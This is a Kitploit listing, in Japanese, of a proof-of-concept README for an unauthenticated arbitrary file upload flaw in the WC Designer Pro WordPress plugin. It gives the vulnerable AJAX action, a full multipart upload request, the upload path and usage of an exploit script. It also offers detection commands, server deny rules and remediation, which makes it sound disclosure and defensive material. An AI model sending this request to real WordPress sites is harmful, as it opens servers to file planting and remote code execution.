Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-6440-Poc-Exploit | Kitploit
ツール/GitHubGitHub/m2hcz/cve-2025-6440-poc-exploit
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubm2hcz/cve-2025-6440-poc-exploit

CVE-2025-6440-Poc-Exploit

リポジトリを見る
121ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

WC Designer Pro — 認証なし任意ファイルアップロード

セキュリティ研究用概念実証(PoC)

Python WordPress Research

CWE Severity Authentication

WC Designer Pro WordPress プラグインに影響を及ぼす認証なし任意ファイルアップロードの脆弱性に対する非破壊的な概念実証(PoC)です。


目次

  • 脆弱性の概要
  • セキュリティへの影響
  • 影響を受けるバージョン
  • 根本原因
  • 攻撃の流れ
  • 要件
  • インストール
  • 使用方法
  • 技術的詳細
  • 安全な検証
  • 暴露の兆候
  • 対策
  • 法的・倫理的な利用
  • 開示状況
  • 参考情報
  • クレジット

脆弱性の概要

WC Designer Pro には、WordPress の admin-ajax.php エンドポイントを介して公開される AJAX アクションに、認証なし任意ファイルアップロードの脆弱性が存在します。

影響を受けるハンドラーは、適切な認証、認可、拡張子の検証、MIME タイプの検証、サーバー側でのファイル名制限を実施せずに、ユーザーが制御するファイルメタデータとファイルコンテンツを処理します。

脆弱な構成では、認証されていない攻撃者がサーバーで実行可能なファイルを Web からアクセス可能なディレクトリにアップロードできる可能性があります。悪用に成功すると、Web サーバープロセスの権限でリモートコード実行が発生する可能性があります。

正確な影響を受けるバージョン範囲、CVE 識別子、CVSS スコアは、独立した検証が完了するまで公開しないでください。


セキュリティへの影響

悪用に成功すると、認証されていない攻撃者により以下が可能になる可能性があります:

  • 承認されていないファイルを WordPress インストール環境にアップロードする。
  • 公開アクセス可能なアップロードディレクトリ内にファイルを保存する。
  • 実行可能な拡張子が受け入れられる場合にサーバー側コードを実行する。
  • Web サーバーアカウントがアクセス可能なデータを読み取る、または変更する。
  • 影響を受ける WordPress インストール環境を侵害する。
  • 侵害されたサーバーをさらなる攻撃の踏み台として利用する。

最終的な影響は、Web サーバーの構成、PHP の実行ルール、ファイルシステムの権限、ホスティングプロバイダーが導入するセキュリティ管理策に依存します。


影響を受けるバージョン

影響を受けるバージョン範囲は現在検証中です。

root@kitploit:~
Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed

テストまたはベンダーの確認がその結論を裏付けない限り、すべてのバージョンが影響を受けると記載しないでください。


根本原因

脆弱なアップロードフローは、以下の AJAX アクションに渡される攻撃者制御の値を信頼しているように見えます:

root@kitploit:~
wcdp_save_canvas_design_ajax

リクエストには以下のようなファイルメタデータが含まれます:

  • ファイル拡張子
  • ファイル識別子
  • 宛先識別子
  • アップロードされたファイルの内容

サーバーが以下の管理策をすべて実施せずにこれらの値を受け入れる場合に、脆弱性が存在します:

  1. 認証および認可のチェック。
  2. WordPress nonce の検証。
  3. 拡張子の厳格な許可リスト(ホワイトリスト)による検証。
  4. ファイル内容に基づく MIME タイプの検証。
  5. ファイル名の正規化とサニタイズ。
  6. 実行不可なアップロード先の強制。
  7. 一時ファイルへの Web からの直接アクセスの防止。

攻撃の流れ

root@kitploit:~
Unauthenticated request
          │
          ▼
/wp-admin/admin-ajax.php
          │
          ▼
action=wcdp_save_canvas_design_ajax
          │
          ▼
Insufficient validation of uploaded file
          │
          ▼
File written to a web-accessible directory
          │
          ▼
Potential server-side code execution

確認されたアップロードパスは以下の構造に従います:

root@kitploit:~
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}

正確なパスは、プラグインのバージョン、WordPress の構成、サーバー環境によって異なる場合があります。


要件

  • Python 3.8 以降
  • pip
  • WordPress のラボ環境
  • 許可を得たテスト対象
  • 脆弱な WC Designer Pro のインストール環境

この概念実証は、明示的な書面による許可なしに第三者システムに対して使用してはなりません。


インストール

リポジトリをクローンします:

root@kitploit:~
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc

仮想環境を作成して有効化します:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate

Windows の場合:

root@kitploit:~
python -m venv .venv
.venv\Scripts\Activate.ps1

依存関係をインストールします:

root@kitploit:~
pip install -r requirements.txt

requirements.txt の例:

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

使用方法

概念実証は、許可を得た単一のラボ環境のテスト対象に対してのみ実行してください。

root@kitploit:~
python3 exploit.py --url https://wordpress-lab.example

非破壊的な検証の場合:

root@kitploit:~
python3 exploit.py \
  --url https://wordpress-lab.example \
  --file ./payloads/verification.txt

検証用ファイルの例:

root@kitploit:~
WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing

組み込みのヘルプコマンドを使用して、サポートされている引数を確認します:

root@kitploit:~
python3 exploit.py --help

出力例:

root@kitploit:~
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]

WC Designer Pro arbitrary file-upload verification PoC

options:
  -h, --help         show this help message and exit
  --url URL          authorized WordPress target
  --file FILE        harmless verification file
  --timeout SECONDS  HTTP request timeout

技術的詳細

脆弱なエンドポイント

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary

リクエストは以下を呼び出します:

root@kitploit:~
action=wcdp_save_canvas_design_ajax

簡略化したリクエスト構造を以下に示します:

root@kitploit:~
------Boundary
Content-Disposition: form-data; name="action"

wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"

{
  "mode": "save",
  "editor": "frontend",
  "uniq": "research-verification",
  "files": [
    {
      "name": "verification",
      "ext": "txt",
      "count": "file1"
    }
  ]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain

Authorized security verification
------Boundary--

この例では、意図的に実行不可のテキストファイルを使用しています。

確認されたレスポンス

リクエストが成功すると、以下のようなレスポンスが返される場合があります:

root@kitploit:~
{
  "userID": false,
  "filesCMYK": [],
  "success": true
}

レスポンスが成功しただけではリモートコード実行を証明できません。研究者は以下を個別に確認する必要があります:

  1. ファイルが作成されたこと。
  2. ファイルにアクセスできること。
  3. 宛先ディレクトリがサーバー側での実行を許可していること。
  4. テストが許可を得た環境で実施されたこと。

安全な検証

推奨される検証手順は以下のとおりです:

  1. 隔離されたローカル環境に WordPress をデプロイします。
  2. 脆弱性が疑われるプラグインバージョンをインストールします。
  3. 無害な .txt マーカーファイルを作成します。
  4. 影響を受ける AJAX アクションを使用してマーカーファイルを送信します。
  5. 認証なしでファイルが保存されたかどうかを確認します。
  6. HTTP リクエストとレスポンスを記録します。
  7. アップロードしたマーカーファイルを削除します。
  8. ラボ環境を破棄またはリセットします。

無害なマーカーファイルで脆弱性を実証できる場合は、Web シェルやコマンド実行ペイロードのアップロードは避けてください。

期待されるエビデンス

有効なレポートには以下を含める必要があります:

  • WordPress のバージョン。
  • WC Designer Pro のバージョン。
  • Web サーバーと PHP のバージョン。
  • 完全な HTTP リクエスト。
  • 完全な HTTP レスポンス。
  • 結果として作成されたファイルパス。
  • 認証済みセッションが使用されていないことの証明。
  • アップロードされたマーカーファイルを確認できるスクリーンショットまたはログ。
  • クリーンアップの確認。

暴露の兆候

管理者は以下のディレクトリを検査してください:

root@kitploit:~
/wp-content/uploads/wcdp-uploads/temp/

潜在的な兆候には以下が含まれます:

  • 予期しない .php、.phtml、.phar などの実行可能ファイル。
  • ランダムな名前のサブディレクトリ。
  • 不明なユーザーによって作成されたファイル。
  • 影響を受ける AJAX アクションを使用した admin-ajax.php へのリクエスト。
  • 一時アップロードディレクトリ内の新しく作成されたファイルにアクセスする HTTP リクエスト。
  • PHP または Web サーバープロセスによって予期せず作成された子プロセス。

ログ検索の例:

root@kitploit:~
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/

ファイルシステム検索の例:

root@kitploit:~
find wp-content/uploads/wcdp-uploads/temp \
  -type f \
  \( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)

対策

サイト管理者は以下を実施してください:

  1. 確認済みの修正版が利用可能になったら、WC Designer Pro をそのバージョンに更新します。
  2. パッチが利用できない場合は、プラグインを無効化して削除します。
  3. WordPress のアップロードディレクトリ内でのサーバー側スクリプトの実行をブロックします。
  4. 一時アップロードディレクトリに承認されていないファイルがないか検査します。
  5. 悪用の試みがないか Web サーバーのアクセスログを確認します。
  6. 侵害が疑われる場合は、WordPress のソルトと管理者資格情報をローテーションします。
  7. 関連する場合は、データベース、ホスティング、FTP、SSH、API の資格情報をローテーションします。
  8. 侵害が確認された場合は、信頼できるソースから WordPress インストール環境を再構築します。

推奨されるサーバー構成

Nginx の場合、アップロードディレクトリ内での PHP 実行を拒否します:

root@kitploit:~
location ~* /wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}

Apache の場合、アップロードディレクトリ内に適切なルールを配置します:

root@kitploit:~
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
    Require all denied
</FilesMatch>

これらの管理策は多層防御の措置であり、脆弱なプラグインコード自体の修正を代替するものではありません。

推奨されるコードレベルの管理策

プラグインのメンテナーは以下を実施してください:

  • 適切な箇所で認証を必須にします。
  • current_user_can() を使用してユーザーの権限を検証します。
  • WordPress nonce を必須にし、検証します。
  • 許可された拡張子の厳格な許可リスト(ホワイトリスト)を使用します。
  • wp_check_filetype_and_ext() を使用してファイルを検証します。
  • サーバー側でファイル名を生成します。
  • 可能な場合は一時ファイルを Web ルートの外に保存します。
  • 実行可能なコンテンツがアップロードディレクトリに保存されないようにします。
  • 内部パスを公開せずに一般的なエラーを返します。

法的・倫理的な利用

このリポジトリは以下の目的にのみ使用することを意図しています:

  • 許可を得たペネトレーションテスト。
  • 脆弱性研究。
  • 防御側の検証。
  • セキュリティ教育。
  • 隔離されたラボ環境での再現。

明示的な許可なく、このコードを使用してシステムへのアクセス、変更、妨害、侵害を行わないでください。

作者は、この資料の許可のない使用、不正使用、または悪用について一切の責任を負いません。利用者は、適用される法律、契約、交戦規則、および調整された脆弱性開示の要件を遵守する単独の責任を負います。


開示状況

root@kitploit:~
Discovery date:       To be added
Vendor contacted:     To be added
Vendor response:      To be added
Patch released:       To be added
CVE requested:        To be added
CVE assigned:         To be added
Public disclosure:    To be added

仮の CVE を、採番された識別子であるかのように公開しないでください。

CVE が採番されたら、仮の記載を公式レコードに置き換えます:

root@kitploit:~
CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment

参考情報

  • WordPress プラグインのセキュリティ
  • WordPress AJAX ドキュメント
  • OWASP ファイルアップロードチートシート
  • OWASP 無制限ファイルアップロード
  • CWE-434: 危険なタイプのファイルの無制限アップロード

クレジット

m2hcz
オフェンシブセキュリティ研究者
GitHub · ポートフォリオ

変更履歴

v1.0.0

  • 脆弱性検証ワークフローを追加。
  • 非破壊的なマーカーファイルのサポートを追加。
  • エンドポイントおよびプラグインの暴露検出を追加。
  • 構造化されたエビデンス収集を追加。
  • リクエストタイムアウトとエラーハンドリングを追加。
  • 対策およびインシデントレスポンスのガイダンスを追加。

セキュリティ研究はリスクを生み出すのではなく、リスクを低減するものであるべきです。

許可を得たセキュリティテストのために m2hcz によって作成されました。

ツールをダウンロード
プロパティ値
製品WC Designer Pro
プラットフォームWordPress
脆弱性の種別制限なし任意ファイルアップロード
CWECWE-434
認証の要否不要
ユーザー操作の要否不要
潜在的な影響リモートコード実行
攻撃の複雑さ低
脆弱なコンポーネントWordPress AJAX アップロードハンドラー
AJAX アクションwcdp_save_canvas_design_ajax